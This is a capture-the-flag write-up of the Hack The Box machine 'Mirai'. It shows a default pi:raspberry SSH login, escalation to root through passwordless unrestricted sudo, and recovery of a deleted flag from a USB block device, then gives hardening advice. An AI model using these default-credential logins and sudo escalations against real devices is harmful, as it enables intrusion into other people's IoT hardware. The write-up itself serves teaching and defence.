Summary
Mirai is a deliberately thematic box: it is named after the Mirai botnet,
whose primary infection technique was SSH brute-force of IoT devices using
their factory-default credentials. The box itself is a Raspberry Pi
running Pi-hole, still listening on SSH with the default pi:raspberry
password unchanged. The privilege escalation is a single sudo su - — the
pi user has passwordless sudo for everything. The interesting twist is the
root flag: /root/root.txt has been deliberately deleted and a hint points
to a USB stick (/dev/sdb). Recovering the flag requires reading raw bytes
from the block device and grepping for the hash pattern, or using
extundelete to restore the deleted file from the ext2 filesystem’s
unallocated space.
The teaching beats: (1) default IoT credentials are a root-level bug —
pi:raspberry is the factory default for every Raspberry Pi and is
documented in the official getting-started guide; (2) sudo without
command restriction is equivalent to root — (ALL) NOPASSWD: ALL is not
a privilege separator, it is a privilege collapse; (3) deleted ≠ gone
on a block device — the ext2/ext3/ext4 delete operation zeroes the inode
pointers but leaves the data blocks intact until overwritten, which grep
or extundelete can exploit.
Source attribution
- 0xdf, “HTB: Mirai” — https://0xdf.gitlab.io/2022/05/18/htb-mirai.html.
Primary source. Covers the Pi-hole fingerprint, the
pi:raspberrydefault-creds SSH path, the sudo escalation, and both thegrep -aandextundeleteflag-recovery techniques. - IppSec, “Mirai” video walkthrough — https://ippsec.rocks/?#Mirai.
- Mirai botnet background — the October 2016 Dyn DNS attack via Mirai botnet established the real-world stakes of unchanged IoT default creds.
Recon
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3
53/tcp open domain dnsmasq 2.76
80/tcp open http lighttpd 1.4.35
1877/tcp open upnp Platinum UPnP
32400/tcp open http Plex Media Server
32469/tcp open http Plex Media Server
The OpenSSH version pinpoints Debian 8 (“Jessie”) on ARM — the version
shipped with Raspberry Pi OS at the time. Port 80 serves Pi-hole; the
HTTP response header X-Pi-hole: A black hole for Internet advertisements
makes the identification unambiguous. The Plex instance confirms this is
a small home-media device, exactly the class of hardware the Mirai botnet
targeted.
Any Raspberry Pi running a stock OS image with Pi-hole installed and SSH
left open is a candidate for pi:raspberry. No exploitation tooling
required; this is a one-command login.
Foothold — default Raspberry Pi credentials
ssh pi@<TARGET>
# password: raspberry
pi@raspberrypi:~ $ id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),...,27(sudo),...
user.txt is in the home directory:
pi@raspberrypi:~ $ cat ~/Desktop/user.txt
Privilege escalation — passwordless unrestricted sudo
pi@raspberrypi:~ $ sudo -l
...
(ALL : ALL) ALL
(ALL) NOPASSWD: ALL
The second line means pi can run any command as any user, with no
password, with no restriction on which commands. A single step yields root:
sudo su -
# or equivalently:
sudo -i
root@raspberrypi:~# id
uid=0(root) gid=0(root) groups=0(root)
Root flag — recovery from a block device
root@raspberrypi:~# cat /root/root.txt
I lost my original root.txt! I think I may have a backup, check /media/usbstick
root@raspberrypi:~# cat /media/usbstick/damnit.txt
Damnit! Sorry, I deleted your root.txt by accident. I've already recovered
most of the filesystem, but might have missed the root.txt, and I know
better than to leave you hanging like that. The target is a 1TB SSD drive
(okay okay it's a 2GB USB stick) - give it a go and see if you can grab
the flag.
The flag file was deleted from the USB stick’s ext2 filesystem, but its data blocks are still present on the device. Two recovery approaches:
Option A — grep the raw device (fastest)
grep -aPo '[a-fA-F0-9]{32}' /dev/sdb
-a treats the binary device as text; -P enables Perl-compatible
regexes; -o prints only the matching string. HTB flags are 32-character
hex strings, so the pattern picks out the flag from the surrounding deleted
metadata noise.
Option B — extundelete (more instructive)
# copy the filesystem first to avoid modifying evidence
dd if=/dev/sdb of=/tmp/usb.img
extundelete /tmp/usb.img --restore-all
# recovered files appear in ./RECOVERED_FILES/
extundelete reads the ext2 journal and inode tables to find inodes whose
data blocks are still allocated but whose directory entries have been
removed. For a small USB stick with recent deletion and no overwrites, the
recovery is essentially 100% reliable.
Either method yields the root flag.
Why each step worked
- Default
pi:raspberrySSH credential: the Raspberry Pi Foundation’s official first-boot documentation historically showedpi:raspberryas the default login. Many installers never prompted for a password change. The Mirai botnet’s infection list included exactly this credential — connecting the box’s name, theme, and attack vector into one object lesson. (ALL) NOPASSWD: ALLsudo entry: this entry appears in the default Raspberry Pi OS sudoers file for thepiuser, again for out-of-box convenience. Combined with an unchanged password, it means any attacker who can log in aspiimmediately has root.- Deleted data remains on block device: ext2/3/4 deletion zeroes the inode’s block pointers and marks the inode free, but does not zero the actual data blocks. Until those blocks are reallocated and overwritten by new data, the content is intact and recoverable via raw device reads or forensic tools.
Counterfactuals
- Change the
pipassword immediately on first boot — or disable thepiaccount entirely and create a named user. Raspberry Pi OS has prompted for a password change on first login since the 2022 image release; older images do not. - Remove the
pisudoers entry or restrict it to specific commands. The defaultNOPASSWD: ALLentry exists for convenience, not security. - Disable SSH on devices that don’t need remote access, or change the default port and require key-based authentication.
- If sensitive data lives on removable storage, shred rather than
delete:
shred -u /media/usbstick/root.txtoverwrites before unlinking.
Key Takeaways
- Default IoT credentials are a root-equivalent bug at the network level.
Any SSH open to a network with an unchanged
pi:raspberry(oradmin:admin,root:root, etc.) is a zero-effort compromise. The Mirai botnet industrialised this insight in 2016; the same devices are still being found unpatched today. sudo -lis the first command to run after gaining a shell.(ALL) NOPASSWD: ALLcollapses the entire privilege model in one line; there is no further escalation needed and no attack surface to search.- Raw block-device forensics (
grep -a,strings,dd+extundelete) are a recurring technique in HTB and in real-world DFIR. Data that “looks deleted” is recoverable until the blocks are overwritten.
References
- 0xdf, “HTB: Mirai” — https://0xdf.gitlab.io/2022/05/18/htb-mirai.html
- IppSec, “Mirai” — https://ippsec.rocks/?#Mirai
- extundelete — http://extundelete.sourceforge.net/
- Raspberry Pi default credentials documentation